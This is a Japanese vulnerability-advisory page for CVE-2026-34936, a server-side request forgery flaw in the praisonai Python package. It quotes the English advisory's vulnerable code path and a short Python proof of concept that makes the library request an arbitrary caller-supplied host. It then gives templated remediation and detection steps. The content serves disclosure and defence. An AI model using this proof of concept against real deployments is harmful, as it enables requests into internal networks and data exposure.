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CVE-2026-34936 high CVSS 7.7

Praison に SSRF (サーバー側リクエスト偽造) (CVE-2026-34936)

概要

Praison に SSRF (CVE-2026-34936) が存在。機密情報が外部に流出する可能性があります。

原文の説明

取得元が公開している説明をそのまま載せています (多くは英語)。

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET…

出典: NIST National Vulnerability Database NVD GitHub Advisory

自動生成の要約

取得元のデータ (CVSS・CWE・影響バージョンなど) から SecPulse が定型文で組み立てた要約です。AI は使っていません。正確な内容は下の原文と参照URLで確認してください。

Praison という製品で、CVE-2026-34936 という番号がついた弱点 (脆弱性) が見つかりました。
機密情報が外部に流出する可能性があります。重要度は CVSS スコア 7.7/10 です。
対策: ベンダー公式の修正版に更新してください。
心配なら、システム担当者や製品の公式サイトで「Praison CVE-2026-34936」を検索してください。

CVE-2026-34936 (Praison) — CWE-918 / CVSS v3 7.7
攻撃ベクター: ネットワーク経由 (リモート攻撃可) / 被害者操作不要
対応方針: 1) SBOMで影響バージョン横断確認, 2) ステージング検証→本番更新, 3) WAF/プロキシで該当エンドポイントを監視, 4) ログでIOC調査。
参考: 当ページの『参照URL』の GHSA / vendor advisory / patched release を参照。

❓ 何が問題か

Praison に SSRF (サーバー側リクエスト偽造) (CWE-918) があります。

📍 影響範囲

Praison の影響バージョンはベンダーのアドバイザリで確認してください。

🔥 重要度

重要度: 重要 (CVSS 7.7/10)。機密情報が外部に流出する可能性があります。

🔧 修正方法

ベンダー公式アドバイザリの修正版に更新してください。

🛡️ 暫定回避

修正版が未提供時は、影響機能の無効化・WAFルール・ネットワークACLでの遮断を検討。

🔍 検知方法

Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。

対応アクション

SOC/SREチームが順番に実行すべき具体的なステップとコマンド例

  1. 1
    影響範囲の特定 identify
    grep -r 'Praison' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で Praison を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    事後検証 verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

影響パッケージ

PyPI praisonai
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.90"}]}]

参照URL

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